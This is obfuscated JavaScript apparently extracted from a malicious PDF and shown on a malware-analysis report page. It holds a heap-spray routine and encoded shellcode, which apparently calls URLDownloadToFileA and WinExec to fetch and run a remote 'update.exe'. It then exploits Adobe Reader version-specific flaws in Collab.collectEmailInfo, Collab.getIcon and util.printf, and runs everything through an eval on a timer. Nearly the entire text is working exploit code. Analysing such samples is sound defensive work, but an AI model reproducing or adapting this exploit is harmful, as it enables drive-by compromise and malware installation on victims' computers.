Array(\"%u5350%u5\",\"251%u575\",\"6%u9c5\",\"5%u00e\",\"8%u0000\",\"%u5d00\",\"%ued83\",\"%u310d\",\"%u64c0%u\",\"4003%u783\",\"0%u8b0c\",\"%u0c40%u7\",\"08b%ua\",\"d1c%u\",\"408b%\",\"ueb08\",\"%u8b09\",\"%u3440\",\"%u408d\",\"%u8b7c%u\",\"3c40%u575\",\"6%u5ebe%\",\"u0001%u\",\"0100%ubf\",\"ee%u014e%\",\"u0000%uef0\",\"1%ud6e8%\",\"u0001%u\",\"5f00%u895e\",\"%u81ea%u\",\"5ec2%\",\"u0001%u\",\"5200%u80\",\"68%u000\",\"0%uff00%u4\",\"e95%u\",\"0001%u8\",\"900%u81ea\",\"%u5ec2%u\",\"0001%u31\",\"00%u01f6\",\"%u8ac2%u\",\"359c%\",\"u0263%\",\"u0000%ufb8\",\"0%u7400%u8\",\"806%u321c%\",\"ueb46%u\",\"c6ee%u32\",\"04%u8900%u\",\"81ea%u45c2\",\"%u0002%u5\",\"200%u9\",\"5ff%u0152\",\"%u0000%ue\",\"a89%u\",\"c281%u\",\"0250%u0\",\"000%u\",\"5052%\",\"u95ff\",\"%u015\",\"6%u0000%u\",\"006a%\",\"u006a%\",\"uea89%uc2\",\"81%u015\",\"e%u0000\",\"%u8952%\",\"u81ea%u78\",\"c2%u0002%\",\"u5200%\",\"u006a%ud\",\"0ff%u056a\",\"%uea89%uc\",\"281%u\",\"015e%u00\",\"00%uff\",\"52%u5a95\",\"%u0001\",\"%u8900%u8\",\"1ea%u5ec2%\",\"u0001%u\",\"5200%\",\"u8068%u0\",\"000%uff\",\"00%u4e95%u\",\"0001%u8900\",\"%u81ea%u\",\"5ec2%u\",\"0001%u31\",\"00%u01\",\"f6%u8a\",\"c2%u3\",\"59c%u02\",\"6e%u0\",\"000%ufb80%\",\"u7400%u\",\"8806%u321c\",\"%ueb4\",\"6%uc6\",\"ee%u3204%u\",\"8900%u81ea\",\"%u45c2\",\"%u0002\",\"%u5200\",\"%u95f\",\"f%u0152\",\"%u000\",\"0%uea89%u\",\"c281%\",\"u0250%u\",\"0000%u505\",\"2%u95ff\",\"%u0156%u00\",\"00%u006a%u\",\"006a%uea89\",\"%uc281%\",\"u015e%u000\",\"0%u895\",\"2%u81ea%u\",\"a6c2%u00\",\"02%u5\",\"200%u006\",\"a%ud0f\",\"f%u056a\",\"%uea89%uc2\",\"81%u015\",\"e%u000\",\"0%uff52%\",\"u5a95%\",\"u0001\",\"%u9d00%u5\",\"f5d%u5a5\",\"e%u5b59%u\",\"c358%u000\",\"0%u0000%u0\",\"000%u0\",\"000%u00\",\"00%u0000%u\",\"0000%u0\",\"000%u6547\",\"%u5474%u\",\"6d65%u5070\",\"%u7461%u\",\"4168%\",\"u4c00\",\"%u616f\",\"%u4c64%u62\",\"69%u6172\",\"%u7972%u0\",\"041%u6547\",\"%u5074%u6f\",\"72%u4\",\"163%u6\",\"464%u65\",\"72%u7\",\"373%u\",\"5700%u\",\"6e69%\",\"u7845%u6\",\"365%u\",\"bb00%uf\",\"289%uf7\",\"89%uc03\",\"0%u75ae%\",\"u29fd%u8\",\"9f7%u31\",\"f9%ubec\",\"0%u003c\",\"%u0000%u\",\"b503%u021b\",\"%u0000%ua\",\"d66%u\",\"8503%u021\",\"b%u0000%u\",\"708b%u\",\"8378%u\",\"1cc6%u\",\"b503%u021\",\"b%u0000%ub\",\"d8d%u02\",\"1f%u000\",\"0%u03ad%u\",\"1b85%u0002\",\"%uab0\",\"0%u03ad\",\"%u1b85%u\",\"0002%u500\",\"0%uad\",\"ab%u850\",\"3%u02\",\"1b%u0000%\",\"u5eab%udb3\",\"1%u56ad%\",\"u8503%\",\"u021b%u00\",\"00%uc689%u\",\"d789%u\",\"fc51%ua6f\",\"3%u7459%u5\",\"e04%u\",\"eb43%u5e\",\"e9%ud1\",\"93%u03e0%u\",\"2785%u000\",\"2%u3100%u9\",\"6f6%u\",\"ad66%ue0c1\",\"%u0302%u1\",\"f85%u0\",\"002%u8900\",\"%uadc6%u8\",\"503%u02\",\"1b%u0\",\"000%u\",\"ebc3%u001\",\"0%u0000%\",\"u0000%u\",\"0000%\",\"u0000%\",\"u0000%u\",\"0000%u00\",\"00%u8900\",\"%u1b85%u00\",\"02%u5\",\"600%ue85\",\"7%uff5\",\"8%uff\",\"ff%u5e5f%\",\"u01ab%u80c\",\"e%ubb3\",\"e%u027\",\"4%uede\",\"b%u55c3%\",\"u4c52\",\"%u4f4d%u2e\",\"4e%u4c44%u\",\"004c%\",\"u5255%u44\",\"4c%u776\",\"f%u6c6e%u\",\"616f%u\",\"5464%\",\"u466f%u6\",\"c69%u4165%\",\"u7500%u6\",\"470%u7461%\",\"u2e65%u\",\"7865%u\",\"0065%u\",\"7263%\",\"u7361%u2e\",\"68%u68\",\"70%u007\",\"0%u7468\",\"%u7074%u2\",\"f3a%u732\",\"f%u6f65\",\"%u742d%u6\",\"172%u6\",\"666%u632e%\",\"u6d6f%u\",\"632f%u\",\"756f%u7\",\"46e%u726\",\"5%u2f73\",\"%u2f3\",\"1%u7075%u\",\"6164%u6\",\"574%u702e%\",\"u7068%u69\",\"3f%u3d64%\",\"u2633%u657\",\"2%u3d74%u6\",\"b6f%u9000\");hxWSuDXe = unescape(hxWSuDXe.join(\"\"));var aMkKKV3ax = 0x400000;var x3CgE4VTY7 = hxWSuDXe.length * 2;var visNssO2 = aMkKKV3ax - (x3CgE4VTY7 + 0x38);var aOfBqSekQk = unescape(\"%u9090%u9090\");aOfBqSekQk = qOYk2XZ8N(aOfBqSekQk, visNssO2);var eEjtQKFInc = (zVtKKX01h - 0x400000) / aMkKKV3ax;for(var unxGYdE5n = 0; unxGYdE5n < eEjtQKFInc; unxGYdE5n++){yz1yyWsr[unxGYdE5n] = aOfBqSekQk + hxWSuDXe;}}function fDUrU7XB(){var nGA9T4uG = 0;var eYoEHriR = app.viewerVersion.toString();app.clearTimeOut(qlvCgEp1);if((eYoEHriR >= 8 && eYoEHriR < 8.102) || eYoEHriR < 7.1){tHiZ9lrUYu(0);var xMxbDF9NZb = unescape(\"%u0c0c%u0c0c\");while(xMxbDF9NZb.length < 44952) xMxbDF9NZb += xMxbDF9NZb;var fjVSKlDUq = this;var ezqeKH4tH = Collab;fjVSKlDUq[\"collabStore\"] = ezqeKH4tH[\"collectEmailInfo\"]({subj : \"\", msg : xMxbDF9NZb});}if((eYoEHriR >= 8.102 && eYoEHriR < 8.104) || (eYoEHriR >= 9 && eYoEHriR < 9.1) || eYoEHriR <= 7.101){try{if(app.doc.Collab.getIcon){tHiZ9lrUYu(2);var gHGLGbxHI = unescape(\" \");while(gHGLGbxHI.length < 0x4000){gHGLGbxHI += gHGLGbxHI;}gHGLGbxHI = \"N.\" + gHGLGbxHI;var pghfk27wPm = app;pghfk27wPm[\"doc\"][\"Collab\"][\"getIcon\"](gHGLGbxHI);nGA9T4uG = 1;}else{nGA9T4uG = 1;}}catch(e){nGA9T4uG = 1;}if(nGA9T4uG == 1){if(eYoEHriR == 8.102 || eYoEHriR == 7.1){tHiZ9lrUYu(1);var vT4Q80JUpI = \"12999999999999999999\";for(cwpqFudQLu = 0; cwpqFudQLu < 276; cwpqFudQLu++){vT4Q80JUpI += \"8\";}var xiNiJYKg1 = util;xiNiJYKg1[\"printf\"](\"E000f\", vT4Q80JUpI);}}}}app.cbVTCzH8X = fDUrU7XB;qlvCgEp1 = app.setTimeOut(\"app.cbVTCzH8X()\", 10);';function e8lvCgEp1(wjcCRLwWYJ){return false;}this.wXWp7zw2BS="fZcC4Vcdn";function qFDhYW7d0(iMJ0PnL4I,vNYmW0FQo){return vNYmW0FQo;}var kSt9A6Z6yr = pGLhKJe2n.replace(/[]/g, '');jBjL5zilQx=8098;var twFKKpkv=new Array('kwqqg4sd','jKZl1k6oC','uaqmSIyPFh');function nY22MpNwk(eWWySbVF8,kBO9In13r,kVaoxPyTAZ){return kVaoxPyTAZ;}var m5BhBlFWe = 'eval';app[m5BhBlFWe](kSt9A6Z6yr);this.fcoHokTh8=27173;function faEMzs3Hx(){}function e9xb5G4yjd(yJfo5LudGj,rBEckMHjQ){return yJfo5LudGj;}
|
|||
Open this report in the interactive analyzer, or submit your own file for analysis.